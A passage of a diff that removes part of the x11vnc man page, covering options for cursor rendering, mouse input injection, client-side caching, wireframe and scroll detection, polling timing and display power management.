-alpha threshold until fraction of the non-zero alpha
-channel pixels become opaque. Default 0.33
-.PP
-\fB-alpharemove\fR
-.IP
-By default, XFIXES cursors pixels with transparency have
-the alpha factor multiplied into the RGB color values
-(i.e. that corresponding to blending the cursor with a
-black background). Specify this option to remove the
-alpha factor. (useful for light colored semi-transparent
-cursors).
-.PP
-\fB-noalphablend\fR
-.IP
-In XFIXES mode do not send cursor alpha channel data
-to LibVNCServer. The default is to send it. The
-alphablend effect will only be visible in \fB-nocursorshape\fR
-mode or for clients with cursorshapeupdates turned
-off. (However there is a hack for 32bpp with depth 24,
-it uses the extra 8 bits to store cursor transparency
-for use with a hacked vncviewer that applies the
-transparency locally. See the FAQ for more info).
-.PP
-\fB-nocursorshape\fR
-.IP
-Do not use the TightVNC CursorShapeUpdates extension
-even if clients support it. See \fB-cursor\fR above.
-.PP
-\fB-cursorpos,\fR \fB-nocursorpos\fR
-.IP
-Option \fB-cursorpos\fR enables sending the X cursor position
-back to all vnc clients that support the TightVNC
-CursorPosUpdates extension. Other clients will be able
-to see the pointer motions. Default: \fB-cursorpos\fR
-.PP
-\fB-xwarppointer,\fR \fB-noxwarppointer\fR
-.IP
-Move the pointer with
-.IR XWarpPointer (3X)
-instead of
-the XTEST extension. Use this as a workaround
-if the pointer motion behaves incorrectly, e.g.
-on touchscreens or other non-standard setups.
-.IP
-It is also sometimes needed on XINERAMA displays and is
-enabled by default if XINERAMA is found to be active.
-To prevent this, use \fB-noxwarppointer.\fR
-.PP
-\fB-always_inject\fR
-.IP
-Even if there is no displacement (dx = dy = 0) for a
-VNC mouse event force the pointer to the indicated x,y
-position anyway. Recent (2009) gui toolkits (gnome)
-have problems with x11vnc's original mouse input
-injection method. So x11vnc's mouse input injection
-method has been modified. To regain the OLD behavior
-use this option: \fB-always_inject.\fR Then x11vnc will
-always force positioning the mouse to the x,y position
-even if that position has not changed since the previous
-VNC input event.
-.IP
-The first place this problem was noticed was in gnome
-terminal: if you pressed and released mouse button 3, a
-menu was posted and then its first element 'New Terminal
-Window' was activated. This was because x11vnc injected
-the mouse position twice: once on ButtonPress and again
-on ButtonRelease. The toolkit interpreted the 2nd one
-as mouse motion even though the mouse hadn't moved.
-So now by default x11vnc tries to avoid injecting the
-2nd one.
-.IP
-Note that with the new default x11vnc will be oblivious
-to applications moving the pointer (warping) or the
-user at the physical display moving it. So it might,
-e.g., inject ButtonRelease at the wrong position.
-If this (or similar scenarios) causes problems in your
-environment, specify \fB-always_inject\fR for the old method.
-.PP
-\fB-buttonmap\fR \fIstring\fR
-.IP
-String to remap mouse buttons. Format: IJK-LMN, this
-maps buttons I -> L, etc., e.g. \fB-buttonmap\fR 13-31
-.IP
-Button presses can also be mapped to keystrokes: replace
-a button digit on the right of the dash with :<sym>:
-or :<sym1>+<sym2>: etc. for multiple keys. For example,
-if the viewing machine has a mouse-wheel (buttons 4 5)
-but the x11vnc side does not, these will do scrolls:
-.IP
-\fB-buttonmap\fR 12345-123:Prior::Next:
-.IP
-\fB-buttonmap\fR 12345-123:Up+Up+Up::Down+Down+Down:
-.IP
-See <X11/keysymdef.h> header file for a list of Keysyms,
-or use the
-.IR xev (1)
-program. Note: mapping of button
-clicks to Keysyms may not work if \fB-modtweak\fR or \fB-xkb\fR is
-needed for the Keysym.
-.IP
-If you include a modifier like "Shift_L" the
-modifier's up/down state is toggled, e.g. to send
-"The" use :Shift_L+t+Shift_L+h+e: (the 1st one is
-shift down and the 2nd one is shift up). (note: the
-initial state of the modifier is ignored and not reset)
-To include button events use "Button1", ... etc.
-.IP
-.IP
-\fB-buttonmap\fR currently does not work on MacOSX console
-or in \fB-rawfb\fR mode.
-.IP
-Workaround: use \fB-buttonmap\fR IJ...-LM...=n to limit the
-number of mouse buttons to n, e.g. 123-123=3. This will
-prevent x11vnc from crashing if the X server reports
-there are 5 buttons (4/5 scroll wheel), but there are
-only really 3.
-.PP
-\fB-nodragging\fR
-.IP
-Do not update the display during mouse dragging events
-(mouse button held down). Greatly improves response on
-slow setups, but you lose all visual feedback for drags,
-text selection, and some menu traversals. It overrides
-any \fB-pointer_mode\fR setting.
-.PP
-\fB-ncache\fR \fIn\fR
-.IP
-Client-side caching scheme. Framebuffer memory \fIn\fR
-(an integer) times that of the full display is allocated
-below the actual framebuffer to cache screen contents
-for rapid retrieval. So a W x H frambuffer is expanded
-to a W x (n+1)*H one. Use 0 to disable.
-.IP
-The \fIn\fR is actually optional, the default is 10.
-.IP
-For this and the other \fB-ncache*\fR options below you can
-abbreviate "\fB-ncache\fR" with "\fB-nc\fR". Also, "\fB-nonc\fR"
-is the same as "\fB-ncache\fR \fI0\fR"
-.IP
-This is an experimental option, currently implemented in
-an awkward way in that in the VNC Viewer you can see the
-pixel cache contents if you scroll down, etc. So you
-will have to set things up so you can't see that region.
-If this method is successful, the changes required for
-clients to do this less awkwardly will be investigated.
-.IP
-The SSVNC viewer does a good job at automatically hiding
-the pixel cache region. Or use SSVNC's \fB-ycrop\fR option
-to explicitly hide the region.
-.IP
-Note that this mode consumes a huge amount of memory,
-both on the x11vnc server side and on the VNC Viewer
-side. If n=2 then the amount of RAM used is roughly
-tripled for both x11vnc and the VNC Viewer. As a rule
-of thumb, note that 1280x1024 at depth 24 is about 5MB
-of pixel data.
-.IP
-For reasonable response when cycling through 4 to 6
-large (e.g. web browser) windows a value n of 6 to 12
-is recommended. (that's right: ~10X more memory...)
-.IP
-Because of the way window backingstore and saveunders
-are implemented, n must be even. It will be incremented
-by 1 if it is not.
-.IP
-This mode also works for native MacOS X, but may not
-be as effective as the X version. This is due to a
-number of things, one is the drop-shadow compositing
-that leaves extra areas that need to be repaired (see
-\fB-ncache_pad).\fR Another is the window iconification
-animations need to be avoided (see \fB-macicontime).\fR
-It appears the that the 'Scale' animation mode gives
-better results than the 'Genie' one. Also, window event
-detection not as accurate as the X version.
-.PP
-\fB-ncache_cr\fR
-.IP
-In \fB-ncache\fR mode, try to do copyrect opaque window
-moves/drags instead of wireframes (this can induce
-painting errors). The wireframe will still be used when
-moving a window whose save-unders has not yet been set
-or has been invalidated.
-.IP
-Some VNC Viewers provide better response than others
-with this option. On Unix, realvnc viewer gives
-smoother drags than tightvnc viewer. Response may also
-be choppy if the server side machine is too slow.
-.IP
-Sometimes on very slow modem connections, this actually
-gives an improvement because no pixel data at all
-(not even the box animation) is sent during the drag.
-.PP
-\fB-ncache_no_moveraise\fR
-.IP
-In \fB-ncache\fR mode, do not assume that moving a window
-will cause the window manager to raise it to the top
-of the stack. The default is to assume it does, and
-so at the beginning of any wireframe, etc, window moves
-the window will be pushed to top in the VNC viewer.
-.PP
-\fB-ncache_no_dtchange\fR
-.IP
-In \fB-ncache\fR mode, do not try to guess when the desktop
-(viewport) changes to another one (i.e. another
-workarea). The default is to try to guess and when
-detected try to make the transistion more smoothly.
-.PP
-\fB-ncache_no_rootpixmap\fR
-.IP
-In \fB-ncache\fR mode, do not try to snapshot the desktop
-background to use in guessing or reconstructing window
-save-unders.
-.PP
-\fB-ncache_keep_anims\fR
-.IP
-In \fB-ncache\fR mode, do not try to disable window
-manager animations and other effects (that usually
-degrade ncache performance or cause painting errors).
-The default is to try to disable them on KDE (but not
-GNOME) when VNC clients are connected.
-.IP
-For other window managers or desktops that provide
-animations, effects, compositing, translucency,
-etc. that interfere with the \fB-ncache\fR method you will
-have to disable them manually.
-.PP
-\fB-ncache_old_wm\fR
-.IP
-In \fB-ncache\fR mode, enable some heuristics for old style
-window managers such as fvwm and twm.
-.PP
-\fB-ncache_pad\fR \fIn\fR
-.IP
-In \fB-ncache\fR mode, pad each window with n pixels for the
-caching rectangles. This can be used to try to improve
-the situation with dropshadows or other compositing
-(e.g. MacOS X window manager), although it could make
-things worse. The default is 0 on Unix and 24 on
-MacOS X.
-.PP
-\fB-debug_ncache\fR
-.IP
-Turn on debugging and profiling output under \fB-ncache.\fR
-.PP
-\fB-wireframe\fR \fI[str],\fR \fB-nowireframe\fR
-.IP
-Try to detect window moves or resizes when a mouse
-button is held down and show a wireframe instead of
-the full opaque window. This is based completely on
-heuristics and may not always work: it depends on your
-window manager and even how you move things around.
-See \fB-pointer_mode\fR below for discussion of the "bogging
-down" problem this tries to avoid.
-Default: \fB-wireframe\fR
-.IP
-Shorter aliases: \fB-wf\fR [str] and \fB-nowf\fR
-.IP
-The value "str" is optional and, of course, is
-packed with many tunable parameters for this scheme:
-.IP
-Format: shade,linewidth,percent,T+B+L+R,mod,t1+t2+t3+t4
-Default: 0xff,2,0,32+8+8+8,all,0.15+0.30+5.0+0.125
-.IP
-If you leave nothing between commas: ",," the default
-value is used. If you don't specify enough commas,
-the trailing parameters are set to their defaults.
-.IP
-"shade" indicate the "color" for the wireframe,
-usually a greyscale: 0-255, however for 16 and 32bpp you
-can specify an rgb.txt X color (e.g. "dodgerblue") or
-a value > 255 is treated as RGB (e.g. red is 0xff0000).
-"linewidth" sets the width of the wireframe in pixels.
-"percent" indicates to not apply the wireframe scheme
-to windows with area less than this percent of the
-full screen.
-.IP
-"T+B+L+R" indicates four integers for how close in
-pixels the pointer has to be from the Top, Bottom, Left,
-or Right edges of the window to consider wireframing.
-This is a speedup to quickly exclude a window from being
-wireframed: set them all to zero to not try the speedup
-(scrolling and selecting text will likely be slower).
-.IP
-"mod" specifies if a button down event in the
-interior of the window with a modifier key (Alt, Shift,
-etc.) down should indicate a wireframe opportunity.
-It can be "0" or "none" to skip it, "1" or "all"
-to apply it to any modifier, or "Shift", "Alt",
-"Control", "Meta", "Super", or "Hyper" to only
-apply for that type of modifier key.
-.IP
-"t1+t2+t3+t4" specify four floating point times in
-seconds: t1 is how long to wait for the pointer to move,
-t2 is how long to wait for the window to start moving
-or being resized (for some window managers this can be
-rather long), t3 is how long to keep a wireframe moving
-before repainting the window. t4 is the minimum time
-between sending wireframe "animations". If a slow
-link is detected, these values may be automatically
-changed to something better for a slow link.
-.PP
-\fB-nowireframelocal\fR
-.IP
-By default, mouse motion and button presses of a
-user sitting at the LOCAL display are monitored for
-wireframing opportunities (so that the changes will be
-sent efficiently to the VNC clients). Use this option
-to disable this behavior.
-.PP
-\fB-wirecopyrect\fR \fImode,\fR \fB-nowirecopyrect\fR
-.IP
-Since the \fB-wireframe\fR mechanism evidently tracks moving
-windows accurately, a speedup can be obtained by
-telling the VNC viewers to locally copy the translated
-window region. This is the VNC CopyRect encoding:
-the framebuffer update doesn't need to send the actual
-new image data.
-.IP
-Shorter aliases: \fB-wcr\fR [mode] and \fB-nowcr\fR
-.IP
-"mode" can be "never" (same as \fB-nowirecopyrect)\fR
-to never try the copyrect, "top" means only do it if
-the window was not covered by any other windows, and
-"always" means to translate the orginally unobscured
-region (this may look odd as the remaining pieces come
-in, but helps on a slow link). Default: "always"
-.IP
-Note: there can be painting errors or slow response
-when using \fB-scale\fR so you may want to disable CopyRect
-in this case "\fB-wirecopyrect\fR \fInever\fR" on the command
-line or by remote-control. Or you can also use the
-"\fB-scale\fR \fIxxx:nocr\fR" scale option.
-.PP
-\fB-debug_wireframe\fR
-.IP
-Turn on debugging info printout for the wireframe
-heuristics. "\fB-dwf\fR" is an alias. Specify multiple
-times for more output.
-.PP
-\fB-scrollcopyrect\fR \fImode,\fR \fB-noscrollcopyrect\fR
-.IP
-Like \fB-wirecopyrect,\fR but use heuristics to try to guess
-if a window has scrolled its contents (either vertically
-or horizontally). This requires the RECORD X extension
-to "snoop" on X applications (currently for certain
-XCopyArea and XConfigureWindow X protocol requests).
-Examples: Hitting <Return> in a terminal window when the
-cursor was at the bottom, the text scrolls up one line.
-Hitting <Down> arrow in a web browser window, the web
-page scrolls up a small amount. Or scrolling with a
-scrollbar or mouse wheel.
-.IP
-Shorter aliases: \fB-scr\fR [mode] and \fB-noscr\fR
-.IP
-This scheme will not always detect scrolls, but when
-it does there is a nice speedup from using the VNC
-CopyRect encoding (see \fB-wirecopyrect).\fR The speedup
-is both in reduced network traffic and reduced X
-framebuffer polling/copying. On the other hand, it may
-induce undesired transients (e.g. a terminal cursor
-being scrolled up when it should not be) or other
-painting errors (window tearing, bunching-up, etc).
-These are automatically repaired in a short period
-of time. If this is unacceptable disable the feature
-with \fB-noscrollcopyrect.\fR
-.IP
-Screen clearing kludges: for testing at least, there
-are some "magic key sequences" (must be done in less
-than 1 second) to aid repairing painting errors that
-may be seen when using this mode:
-.IP
-3 Alt_L's in a row: resend whole screen,
-4 Alt_L's in a row: reread and resend whole screen,
-3 Super_L's in a row: mark whole screen for polling,
-4 Super_L's in a row: reset RECORD context,
-5 Super_L's in a row: try to push a black screen
-.IP
-note: Alt_L is the Left "Alt" key (a single key)
-Super_L is the Left "Super" key (Windows flag).
-Both of these are modifier keys, and so should not
-generate characters when pressed by themselves. Also,
-your VNC viewer may have its own refresh hot-key
-or button.
-.IP
-"mode" can be "never" (same as \fB-noscrollcopyrect)\fR
-to never try the copyrect, "keys" means to try it
-in response to keystrokes only, "mouse" means to
-try it in response to mouse events only, "always"
-means to do both. Default: "always"
-.IP
-Note: there can be painting errors or slow response
-when using \fB-scale\fR so you may want to disable CopyRect
-in this case "\fB-scrollcopyrect\fR \fInever\fR" on the command
-line or by remote-control. Or you can also use the
-"\fB-scale\fR \fIxxx:nocr\fR" scale option.
-.PP
-\fB-scr_area\fR \fIn\fR
-.IP
-Set the minimum area in pixels for a rectangle
-to be considered for the \fB-scrollcopyrect\fR detection
-scheme. This is to avoid wasting the effort on small
-rectangles that would be quickly updated the normal way.
-E.g. suppose an app updated the position of its skinny
-scrollbar first and then shifted the large panel
-it controlled. We want to be sure to skip the small
-scrollbar and get the large panel. Default: 60000
-.PP
-\fB-scr_skip\fR \fIlist\fR
-.IP
-Skip scroll detection for applications matching
-the comma separated list of strings in \fIlist\fR.
-Some applications implement their scrolling in
-strange ways where the XCopyArea, etc, also applies
-to invisible portions of the window: if we CopyRect
-those areas it looks awful during the scroll and
-there may be painting errors left after the scroll.
-Soffice.bin is the worst known offender.
-.IP
-Use "##" to denote the start of the application class
-(e.g. "##XTerm") and "++" to denote the start
-of the application instance name (e.g. "++xterm").
-The string your list is matched against is of the form
-"^^WM_NAME##Class++Instance<same-for-any-subwindows>"
-The "xlsclients \fB-la"\fR command will provide this info.
-.IP
-If a pattern is prefixed with "KEY:" it only applies
-to Keystroke generated scrolls (e.g. Up arrow). If it
-is prefixed with "MOUSE:" it only applies to Mouse
-induced scrolls (e.g. dragging on a scrollbar).
-Default: ##Soffice.bin,##StarOffice,##OpenOffice
-.PP
-\fB-scr_inc\fR \fIlist\fR
-.IP
-Opposite of \fB-scr_skip:\fR this list is consulted first
-and if there is a match the window will be monitored
-via RECORD for scrolls irrespective of \fB-scr_skip.\fR
-Use \fB-scr_skip\fR '*' to skip anything that does not match
-your \fB-scr_inc.\fR Use \fB-scr_inc\fR '*' to include everything.
-.PP
-\fB-scr_keys\fR \fIlist\fR
-.IP
-For keystroke scroll detection, only apply the RECORD
-heuristics to the comma separated list of keysyms in
-\fIlist\fR. You may find the RECORD overhead for every
-one of your keystrokes disrupts typing too much, but you
-don't want to turn it off completely with "\fB-scr\fR \fImouse\fR"
-and \fB-scr_parms\fR does not work or is too confusing.
-.IP
-The listed keysyms can be numeric or the keysym
-names in the <X11/keysymdef.h> header file or from the
-.IR xev (1)
-program. Example: "\fB-scr_keys\fR \fIUp,Down,Return\fR".
-One probably wants to have application specific lists
-(e.g. for terminals, etc) but that is too icky to think
-about for now...
-.IP
-If \fIlist\fR begins with the "-" character the list
-is taken as an exclude list: all keysyms except those
-list will be considered. The special string "builtin"
-expands to an internal list of keysyms that are likely
-to cause scrolls. BTW, by default modifier keys,
-Shift_L, Control_R, etc, are skipped since they almost
-never induce scrolling by themselves.
-.PP
-\fB-scr_term\fR \fIlist\fR
-.IP
-Yet another cosmetic kludge. Apply shell/terminal
-heuristics to applications matching comma separated
-list (same as for \fB-scr_skip/-scr_inc).\fR For example an
-annoying transient under scroll detection is if you
-hit Enter in a terminal shell with full text window,
-the solid text cursor block will be scrolled up.
-So for a short time there are two (or more) block
-cursors on the screen. There are similar scenarios,
-(e.g. an output line is duplicated).
-.IP
-These transients are induced by the approximation of
-scroll detection (e.g. it detects the scroll, but not
-the fact that the block cursor was cleared just before
-the scroll). In nearly all cases these transient errors
-are repaired when the true X framebuffer is consulted
-by the normal polling. But they are distracting, so
-what this option provides is extra "padding" near the
-bottom of the terminal window: a few extra lines near
-the bottom will not be scrolled, but rather updated
-from the actual X framebuffer. This usually reduces
-the annoying artifacts. Use "none" to disable.
-Default: "term"
-.PP
-\fB-scr_keyrepeat\fR \fIlo-hi\fR
-.IP
-If a key is held down (or otherwise repeats rapidly) and
-this induces a rapid sequence of scrolls (e.g. holding
-down an Arrow key) the "scrollcopyrect" detection
-and overhead may not be able to keep up. A time per
-single scroll estimate is performed and if that estimate
-predicts a sustainable scrollrate of keys per second
-between "lo" and "hi" then repeated keys will be
-DISCARDED to maintain the scrollrate. For example your
-key autorepeat may be 25 keys/sec, but for a large
-window or slow link only 8 scrolls per second can be
-sustained, then roughly 2 out of every 3 repeated keys
-will be discarded during this period. Default: "4-20"
-.PP
-\fB-scr_parms\fR \fIstring\fR
-.IP
-Set various parameters for the scrollcopyrect mode.
-The format is similar to that for \fB-wireframe\fR and packed
-with lots of parameters:
-.IP
-Format: T+B+L+R,t1+t2+t3,s1+s2+s3+s4+s5
-Default: 0+64+32+32,0.02+0.10+0.9,0.03+0.06+0.5+0.1+5.0
-.IP
-If you leave nothing between commas: ",," the default
-value is used. If you don't specify enough commas,
-the trailing parameters are set to their defaults.
-.IP
-"T+B+L+R" indicates four integers for how close in
-pixels the pointer has to be from the Top, Bottom, Left,
-or Right edges of the window to consider scrollcopyrect.
-If \fB-wireframe\fR overlaps it takes precedence. This is a
-speedup to quickly exclude a window from being watched
-for scrollcopyrect: set them all to zero to not try
-the speedup (things like selecting text will likely
-be slower).
-.IP
-"t1+t2+t3" specify three floating point times in
-seconds that apply to scrollcopyrect detection with
-*Keystroke* input: t1 is how long to wait after a key
-is pressed for the first scroll, t2 is how long to keep
-looking after a Keystroke scroll for more scrolls.
-t3 is how frequently to try to update surrounding
-scrollbars outside of the scrolling area (0.0 to
-disable)
-.IP
-"s1+s2+s3+s4+s5" specify five floating point times
-in seconds that apply to scrollcopyrect detection with
-*Mouse* input: s1 is how long to wait after a mouse
-button is pressed for the first scroll, s2 is how long
-to keep waiting for additional scrolls after the first
-Mouse scroll was detected. s3 is how frequently to
-try to update surrounding scrollbars outside of the
-scrolling area (0.0 to disable). s4 is how long to
-buffer pointer motion (to try to get fewer, bigger
-mouse scrolls). s5 is the maximum time to spend just
-updating the scroll window without updating the rest
-of the screen.
-.PP
-\fB-fixscreen\fR \fIstring\fR
-.IP
-Periodically "repair" the screen based on settings
-in \fIstring\fR. Hopefully you won't need this option,
-it is intended for cases when the \fB-scrollcopyrect\fR or
-\fB-wirecopyrect\fR features leave too many painting errors,
-but it can be used for any scenario. This option
-periodically performs costly operations and so
-interactive response may be reduced when it is on.
-You can use 3 Alt_L's (the Left "Alt" key) taps in
-a row (as described under \fB-scrollcopyrect)\fR instead to
-manually request a screen repaint when it is needed.
-.IP
-\fIstring\fR is a comma separated list of one or more of
-the following: "V=t", "C=t", "X=t", and "8=t".
-In these "t" stands for a time in seconds (it is
-a floating point even though one should usually use
-values > 2 to avoid wasting resources). V sets how
-frequently the entire screen should be sent to viewers
-(it is like the 3 Alt_L's). C sets how long to wait
-after a CopyRect to repaint the full screen. X sets
-how frequently to reread the full X11 framebuffer from
-the X server and push it out to connected viewers.
-Use of X should be rare, please report a bug if you
-find you need it. 8= applies only for \fB-8to24\fR mode: it
-sets how often the non-default visual regions of the
-screen (e.g. 8bpp windows) are refreshed. Examples:
-\fB-fixscreen\fR V=10 \fB-fixscreen\fR C=10
-.PP
-\fB-debug_scroll\fR
-.IP
-Turn on debugging info printout for the scroll
-heuristics. "\fB-ds\fR" is an alias. Specify it multiple
-times for more output.
-.PP
-\fB-noxrecord\fR
-.IP
-Disable any use of the RECORD extension. This is
-currently used by the \fB-scrollcopyrect\fR scheme and to
-monitor X server grabs.
-.PP
-\fB-grab_buster,\fR \fB-nograb_buster\fR
-.IP
-Some of the use of the RECORD extension can leave a
-tiny window for XGrabServer deadlock. This is only if
-the whole-server grabbing application expects mouse or
-keyboard input before releasing the grab. It is usually
-a window manager that does this. x11vnc takes care to
-avoid the problem, but if caught x11vnc will freeze.
-Without \fB-grab_buster,\fR the only solution is to go the
-physical display and give it some input to satisfy the
-grabbing app. Or manually kill and restart the window
-manager if that is feasible. With \fB-grab_buster,\fR x11vnc
-will fork a helper thread and if x11vnc appears to be
-stuck in a grab after a period of time (20-30 sec) then
-it will inject some user input: button clicks, Escape,
-mouse motion, etc to try to break the grab. If you
-experience a lot of grab deadlock, please report a bug.
-.PP
-\fB-debug_grabs\fR
-.IP
-Turn on debugging info printout with respect to
-XGrabServer() deadlock for \fB-scrollcopyrect__mode_.\fR
-.PP
-\fB-debug_sel\fR
-.IP
-Turn on debugging info printout with respect to
-PRIMARY, CLIPBOARD, and CUTBUFFER0 selections.
-.PP
-\fB-pointer_mode\fR \fIn\fR
-.IP
-Various pointer motion update schemes. "\fB-pm\fR" is
-an alias. The problem is pointer motion can cause
-rapid changes on the screen: consider the rapid
-changes when you drag a large window around opaquely.
-Neither x11vnc's screen polling and vnc compression
-routines nor the bandwidth to the vncviewers can keep
-up these rapid screen changes: everything will bog down
-when dragging or scrolling. So a scheme has to be used
-to "eat" much of that pointer input before re-polling
-the screen and sending out framebuffer updates. The
-mode number \fIn\fR can be 0 to 4 and selects one of
-the schemes desribed below.
-.IP
-Note that the \fB-wireframe\fR and \fB-scrollcopyrect__mode_s\fR
-complement \fB-pointer_mode\fR by detecting (and improving)
-certain periods of "rapid screen change".
-.IP
-n=0: does the same as \fB-nodragging.\fR (all screen polling
-is suspended if a mouse button is pressed.)
-.IP
-n=1: was the original scheme used to about Jan 2004:
-it basically just skips \fB-input_skip\fR keyboard or pointer
-events before repolling the screen.
-.IP
-n=2 is an improved scheme: by watching the current rate
-of input events it tries to detect if it should try to
-"eat" additional pointer events before continuing.
-.IP
-n=3 is basically a dynamic \fB-nodragging\fR mode: it detects
-when the mouse motion has paused and then refreshes
-the display.
-.IP
-n=4 attempts to measures network rates and latency,
-the video card read rate, and how many tiles have been
-changed on the screen. From this, it aggressively tries
-to push screen "frames" when it decides it has enough
-resources to do so. NOT FINISHED.
-.IP
-The default n is 2. Note that modes 2, 3, 4 will skip
-\fB-input_skip\fR keyboard events (but it will not count
-pointer events). Also note that these modes are not
-available in \fB-threads\fR mode which has its own pointer
-event handling mechanism.
-.IP
-To try out the different pointer modes to see which
-one gives the best response for your usage, it is
-convenient to use the remote control function, for
-example "x11vnc \fB-R\fR pm:4" or the tcl/tk gui (Tuning ->
-pointer_mode -> n).
-.PP
-\fB-input_skip\fR \fIn\fR
-.IP
-For the pointer handling when non-threaded: try to
-read n user input events before scanning display. n < 0
-means to act as though there is always user input.
-Default: 10
-.PP
-\fB-allinput\fR
-.IP
-Have x11vnc read and process all available client input
-before proceeding.
-.PP
-\fB-input_eagerly\fR
-.IP
-Similar to \fB-allinput\fR but use the handleEventsEagerly
-mechanism built into LibVNCServer.
-.PP
-\fB-speeds\fR \fIrd,bw,lat\fR
-.IP
-x11vnc tries to estimate some speed parameters that
-are used to optimize scheduling (e.g. \fB-pointer_mode\fR
-4, \fB-wireframe,\fR \fB-scrollcopyrect)\fR and other things.
-Use the \fB-speeds\fR option to set these manually.
-The triple \fIrd,bw,lat\fR corresponds to video h/w
-read rate in MB/sec, network bandwidth to clients in
-KB/sec, and network latency to clients in milliseconds,
-respectively. If a value is left blank, e.g. "-speeds
-,100,15", then the internal scheme is used to estimate
-the empty value(s).
-.IP
-Typical PC video cards have read rates of 5-10 MB/sec.
-If the framebuffer is in main memory instead of video
-h/w (e.g. SunRay, shadowfb, dummy driver, Xvfb), the
-read rate may be much faster. "x11perf \fB-getimage500"\fR
-can be used to get a lower bound (remember to factor
-in the bytes per pixel). It is up to you to estimate
-the network bandwith and latency to clients. For the
-latency the
-.IR ping (1)
-command can be used.
-.IP
-For convenience there are some aliases provided,
-e.g. "\fB-speeds\fR \fImodem\fR". The aliases are: "modem" for
-6,4,200; "dsl" for 6,100,50; and "lan" for 6,5000,1
-.PP
-\fB-wmdt\fR \fIstring\fR
-.IP
-For some features, e.g. \fB-wireframe\fR and \fB-scrollcopyrect,\fR
-x11vnc has to work around issues for certain window
-managers or desktops (currently kde and xfce).
-By default it tries to guess which one, but it can
-guess incorrectly. Use this option to indicate which
-wm/dt. \fIstring\fR can be "gnome", "kde", "cde",
-"xfce", or "root" (classic X wm). Anything else
-is interpreted as "root".
-.PP
-\fB-debug_pointer\fR
-.IP
-Print debugging output for every pointer event.
-.PP
-\fB-debug_keyboard\fR
-.IP
-Print debugging output for every keyboard event.
-.PP
-Same as \fB-dp\fR and \fB-dk,\fR respectively. Use multiple
-times for more output.
-.PP
-\fB-defer\fR \fItime\fR
-.IP
-Time in ms to delay sending updates to connected clients
-(deferUpdateTime) Default: 20
-.PP
-\fB-wait\fR \fItime\fR
-.IP
-Time in ms to pause between screen polls. Used to cut
-down on load. Default: 20
-.PP
-\fB-extra_fbur\fR \fIn\fR
-.IP
-Perform extra FrameBufferUpdateRequests checks to
-try to be in better sync with the client's requests.
-What this does is perform extra polls of the client
-socket at critical times (before '-defer' and '-wait'
-calls.) The default is n=1. Set to a larger number to
-insert more checks or set to n=0 to disable. A downside
-of these extra calls is that more mouse input may be
-processed than desired.
-.PP
-\fB-wait_ui\fR \fIfactor\fR
-.IP
-Factor by which to cut the \fB-wait\fR time if there
-has been recent user input (pointer or keyboard).
-Improves response, but increases the load whenever you
-are moving the mouse or typing. Default: 2.00
-.PP
-\fB-setdefer\fR \fIn\fR
-.IP
-When the \fB-wait_ui\fR mechanism cuts down the wait time ms,
-set the defer time to the same ms value. n=1 to enable,
-0 to disable, and -1 to set defer to 0 (no delay).
-Similarly, 2 and -2 indicate 'urgent_update' mode should
-be used to push the updates even sooner. Default: 1
-.PP
-\fB-nowait_bog\fR
-.IP
-Do not detect if the screen polling is "bogging down"
-and sleep more. Some activities with no user input can
-slow things down a lot: consider a large terminal window
-with a long build running in it continuously streaming
-text output. By default x11vnc will try to detect this
-(3 screen polls in a row each longer than 0.25 sec with
-no user input), and sleep up to 1.5 secs to let things
-"catch up". Use this option to disable that detection.
-.PP
-\fB-slow_fb\fR \fItime\fR
-.IP
-Floating point time in seconds to delay all screen
-polling. For special purpose usage where a low frame
-rate is acceptable and desirable, but you want the
-user input processed at the normal rate so you cannot
-use \fB-wait.\fR
-.PP
-\fB-xrefresh\fR \fItime\fR
-.IP
-Floating point time in seconds to indicate how often to
-do the equivalent of
-.IR xrefresh (1)
-to force all windows
-(in the viewable area if \fB-id,\fR \fB-sid,\fR or \fB-clip\fR is used)
-to repaint themselves. Use this only if applications
-misbehave by not repainting themselves properly.
-See also \fB-noxdamage.\fR
-.PP
-\fB-nap,\fR \fB-nonap\fR
-.IP
-Monitor activity and if it is low take longer naps
-between screen polls to really cut down load when idle.
-Default: take naps
-.PP
-\fB-sb\fR \fItime\fR
-.IP
-Time in seconds after NO activity (e.g. screen blank)
-to really throttle down the screen polls (i.e. sleep
-for about 1.5 secs). Use 0 to disable. Default: 60
-Set the env. var. X11VNC_SB_FACTOR to scale it.
-.PP
-\fB-readtimeout\fR \fIn\fR
-.IP
-Set LibVNCServer rfbMaxClientWait to n seconds. On
-slow links that take a long time to paint the first
-screen LibVNCServer may hit the timeout and drop the
-connection. Default: 20 seconds.
-.PP
-\fB-ping\fR \fIn\fR
-.IP
-Send a 1x1 framebuffer update to all clients every n
-seconds (e.g. to try to keep a network connection alive)
-.PP
-\fB-nofbpm,\fR \fB-fbpm\fR
-.IP
-If the system supports the FBPM (Frame Buffer Power
-Management) extension (i.e. some Sun systems), then
-prevent the video h/w from going into a reduced power
-state when VNC clients are connected.
-.IP
-FBPM capable video h/w save energy when the workstation
-is idle by going into low power states (similar to DPMS
-for monitors). This interferes with x11vnc's polling
-of the framebuffer data.
-.IP
-"\fB-nofbpm\fR" means prevent FBPM low power states whenever
-VNC clients are connected, while "\fB-fbpm\fR" means to not
-monitor the FBPM state at all. See the
-.IR xset (1)
-manpage
-for details. \fB-nofbpm\fR is basically the same as running
-"xset fbpm force on" periodically. Default: \fB-fbpm\fR
-.PP
-\fB-nodpms,\fR \fB-dpms\fR
-.IP
-If the system supports the DPMS (Display Power Management
-Signaling) extension, then prevent the monitor from
-going into a reduced power state when VNC clients
-are connected.
-.IP
-DPMS reduced power monitor states are a good thing
-and you normally want the power down to take place
-(usually x11vnc has no problem exporting the display in
-this state). You probably only want to use "\fB-nodpms\fR"
-to work around problems with Screen Savers kicking
-on in DPMS low power states. There is known problem
-with kdesktop_lock on KDE where the screen saver keeps
-kicking in every time user input stops for a second
-or two. Specifying "\fB-nodpms\fR" works around it.
-.IP
-"\fB-nodpms\fR" means prevent DPMS low power states whenever
-VNC clients are connected, while "\fB-dpms\fR" means to not
-monitor the DPMS state at all. See the
-.IR xset (1)
-manpage
-for details. \fB-nodpms\fR is basically the same as running
-"xset dpms force on" periodically. Default: \fB-dpms\fR
-.PP
-\fB-forcedpms\fR
-.IP
-If the system supports the DPMS (Display Power
-Management Signaling) extension, then try to keep the
-monitor in a powered off state. This is to prevent
-nosey people at the physical display from viewing what
-is on the screen. Be sure to lock the screen before
-disconnecting.
-.IP
-This method is far from bullet proof, e.g. suppose
-someone attaches a non-DPMS monitor, or loads the
-machine so that there is a gap of time before x11vnc
-restores the powered off state? On many machines if
-he floods it with keyboard and mouse input he can see
